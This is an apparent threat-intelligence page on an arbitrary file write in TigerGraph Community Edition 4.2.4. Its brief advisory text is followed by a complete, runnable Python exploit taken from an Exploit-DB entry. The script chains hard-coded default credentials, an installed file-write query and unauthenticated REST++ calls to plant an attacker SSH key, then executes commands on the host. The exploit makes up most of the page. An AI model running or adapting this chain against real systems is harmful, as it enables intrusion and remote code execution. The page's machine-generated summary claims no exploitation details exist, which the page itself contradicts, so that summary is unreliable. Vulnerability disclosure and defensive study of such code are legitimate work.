TigerGraph_Community_Edition 4.2.4 - arbitrary file write
An arbitrary file write vulnerability exists in TigerGraph Community Edition version 4.2.4. This vulnerability allows an attacker to write files to the system without proper authorization.
AI Analysis
Technical Summary
TigerGraph Community Edition version 4.2.4 contains an arbitrary file write vulnerability. This flaw enables unauthorized users to write files to the system, potentially leading to further compromise depending on the context and file locations affected. No additional technical details or exploitation methods are provided.
Potential Impact
The arbitrary file write vulnerability could allow an attacker to modify or create files on the affected system, which may lead to unauthorized code execution or system manipulation. The exact impact depends on the files that can be written and the privileges of the affected process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. No official fix or workaround information is provided at this time.
Indicators of Compromise
- exploit-code: Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write Author: 0day Rubbish Research Team Contact: [email protected] Type: remote Platform: Linux TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE Vulnerability summary: TigerGraph Community Edition 4.2.4 in its default configuration permits a remote code-execution chain against the database host: 1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph (CWE-798). There is no forced password change; the login response only carries an advisory securityRecommendations entry next to isSuperUser:true. 2. The GUI nginx reverse-proxies the GSQL statements endpoint (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123), so arbitrary GSQL can be compiled and installed. A query declared as CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an unrestricted write primitive (CWE-73): no path validation, no base-directory confinement, no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph user. 3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content> writes an arbitrary file with no Authorization header. 4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key (CWE-22). sshd is started by the product entrypoint with OpenSSH default PubkeyAuthentication=yes. 5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing identity is the tigergraph OS user, uid 1001 -- it is NOT root. Authentication requirements: Stages 1-2 (installing the file-write query): the hard-coded default credentials tigergraph:tigergraph (CWE-798, never forced to rotate). Stages 3-5 (triggering the write and the SSH logon): no credentials at all. Encoding note (load-bearing): Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not decode "+" back to a space, so form-style encoding corrupts the key into an unparsable authorized_keys line and the SSH step fails with Permission denied. This script therefore forces quote_via=urllib.parse.quote. Usage examples: python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id" python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \ --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \ --graph test_graph --query qwrite_c --cmd "whoami; uname -a" Defaults: With --target, GUI / REST++ / SSH all point at that host using the product default ports 14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass). On Docker deployments sshd may be reachable only on the container network; pass its address to --ssh-host in that case. Standard library only: urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies. The SSH step shells out to the system ssh binary and the key pair is produced by the system ssh-keygen. For authorised security testing and coordinated disclosure only. """ import argparse import base64 import json import os import ssl import subprocess import sys import time import urllib.error import urllib.parse import urllib.request DEFAULT_USER = "tigergraph" DEFAULT_PASS = "tigergraph" DEFAULT_GRAPH = "tg_rce_graph" DEFAULT_QUERY = "tg_fw_query" AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys" def http_request(method, url, headers=None, data=None, timeout=30): """Plain urllib HTTP request. data is bytes or None.""" req = urllib.request.Request(url, data=data, method=method) if headers: for k, v in headers.items(): req.add_header(k, v) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: resp = urllib.request.urlopen(req, timeout=timeout, context=ctx) body = resp.read() return resp.status, dict(resp.headers), body except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return -1, {}, str(e).encode() def step1_login(gui_host, gui_port, user, passwd): """Log in to the GUI with the default credentials and return the cookie header string.""" print("[*] Step 1: GUI login (default credentials, CWE-798)...") url = "http://%s:%s/api/auth/login" % (gui_host, gui_port) body = json.dumps({"username": user, "password": passwd}).encode() status, hdrs, resp = http_request( "POST", url, headers={"Content-Type": "application/json"}, data=body ) if status != 200: print("[!] login failed: HTTP %s, %s" % (status, resp[:200])) return None cookies = [] for k, v in hdrs.items(): if k.lower() == "set-cookie": cookies.append(v.split(";")[0]) try: j = json.loads(resp) if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None: print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser")) except Exception: pass cookie_str = "; ".join(cookies) if cookies else "" if not cookie_str: print("[!] no cookie captured, continuing (some builds use an Authorization header)") return cookie_str def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query): """Install the file-write query through the GUI-proxied GSQL statements endpoint.""" print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...") url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph) basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode() headers = { "Content-Type": "text/plain", "Authorization": "Basic " + basic, } if cookie_str: headers["Cookie"] = cookie_str create_graph = "CREATE GRAPH %s" % graph http_request("POST", url, headers=headers, data=create_graph.encode()) time.sleep(1) ddl = ( "USE GRAPH %s\n" "CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n" " PRINT c TO_CSV f;\n" "}\n" "INSTALL QUERY %s" ) % (graph, query, query) status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120) txt = resp.decode(errors="replace") # The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while # the GSQL server has in fact compiled and installed the query, so this is treated as success. ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt) print("[*] install response status=%s: %s" % (status, txt[:200])) if not ok: print("[!] query install may have failed, continuing anyway (query may already exist)") else: print("[+] install request accepted (GUI proxy streaming response; server-side executed)") return True def gen_ssh_key(keypath): """Generate an RSA key pair with the system ssh-keygen (stdlib subprocess).""" print("[*] generating SSH key pair...") if os.path.exists(keypath): os.remove(keypath) if os.path.exists(keypath + ".pub"): os.remove(keypath + ".pub") subprocess.run( ["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) os.chmod(keypath, 0o600) with open(keypath + ".pub") as f: pubkey = f.read().strip() print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:])) return pubkey def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content): """Trigger the file write over REST++ with no credentials at all (CWE-306).""" print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...") url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query) # quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+" # back to a space, and the public key must land byte-exact. params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote) full = url + "?" + params # Deliberately sending no Authorization header, to demonstrate the missing authentication. status, hdrs, resp = http_request("GET", full, headers={}, timeout=30) txt = resp.decode(errors="replace") print("[*] REST++ response status=%s: %s" % (status, txt[:200])) try: j = json.loads(resp) if j.get("error") is False: print("[+] unauthenticated file write succeeded (error:false, no Authorization header)") return True except Exception: pass print("[!] unexpected file-write response, the write may still have landed") return True def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd): """Log in over SSH and run the command (subprocess invoking the system ssh).""" print("[*] Step 4: SSH logon and command execution -> RCE...") ssh_cmd = [ "ssh", "-i", keypath, "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "ConnectTimeout=15", "-p", str(ssh_port), "tigergraph@%s" % ssh_host, cmd, ] try: r = subprocess.run( ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30 ) out = r.stdout.decode(errors="replace") err = r.stderr.decode(errors="replace") print("[+] SSH stdout:") print(out) if err: print("[*] SSH stderr: %s" % err[:300]) if r.returncode == 0 and out: print("[+] === RCE succeeded (command execution as the tigergraph user) ===") return True print( "[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n" " still landed in authorized_keys; this last step needs network reachability)" % r.returncode ) return False except Exception as e: print("[!] SSH exception: %s" % e) return False def main(): ap = argparse.ArgumentParser( description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE" ) ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)") ap.add_argument("--gui-host", default="127.0.0.1") ap.add_argument("--gui-port", type=int, default=14240) ap.add_argument("--restpp-host", default="127.0.0.1") ap.add_argument("--restpp-port", type=int, default=9000) ap.add_argument("--ssh-host", default="127.0.0.1") ap.add_argument("--ssh-port", type=int, default=22) ap.add_argument("--user", default=DEFAULT_USER) ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS) ap.add_argument("--graph", default=DEFAULT_GRAPH) ap.add_argument("--query", default=DEFAULT_QUERY) ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon") ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path") args = ap.parse_args() if args.target: args.gui_host = args.restpp_host = args.ssh_host = args.target print("=" * 70) print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph") print(" GUI: %s:%s REST++: %s:%s SSH: %s:%s" % ( args.gui_host, args.gui_port, args.restpp_host, args.restpp_port, args.ssh_host, args.ssh_port)) print("=" * 70) # Step 1: session with the default credentials cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd) if cookie is None: print("[!] login failed, chain aborted. Check the credentials or the GUI port.") sys.exit(1) # Step 2: install the file-write query step2_install_query( args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query ) time.sleep(2) # Attacker key pair pubkey = gen_ssh_key(args.key) # Step 3: unauthenticated REST++ write of the public key into authorized_keys step3_unauth_write( args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey ) time.sleep(1) # Step 4: SSH logon and command execution ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd) if ok: print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===") else: print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).") print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.") if __name__ == "__main__": main()
TigerGraph_Community_Edition 4.2.4 - arbitrary file write
Description
An arbitrary file write vulnerability exists in TigerGraph Community Edition version 4.2.4. This vulnerability allows an attacker to write files to the system without proper authorization.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
TigerGraph Community Edition version 4.2.4 contains an arbitrary file write vulnerability. This flaw enables unauthorized users to write files to the system, potentially leading to further compromise depending on the context and file locations affected. No additional technical details or exploitation methods are provided.
Potential Impact
The arbitrary file write vulnerability could allow an attacker to modify or create files on the affected system, which may lead to unauthorized code execution or system manipulation. The exact impact depends on the files that can be written and the privileges of the affected process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. No official fix or workaround information is provided at this time.
Technical Details
- Edb Id
- 52691
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for TigerGraph_Community_Edition 4.2.4 - arbitrary file write
Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write Author: 0day Rubbish Research Team Contact: [email protected] Type: remote Platform: Linux TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE Vulnerability summary: TigerGraph Community Edition 4.2.4 in its default configuration permits a remote code-execution chain against the database host: 1. The GUI administration port (14240) accepts the hard-coded credentials tig... (12632 more characters)
Threat ID: 6abed0b3a43b0b3b8904aa57
Added to database: 10/01/2026, 21:29:23 UTC
Last enriched: 10/01/2026, 21:29:35 UTC
Last updated: 10/02/2026, 03:11:41 UTC
Views: 10
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.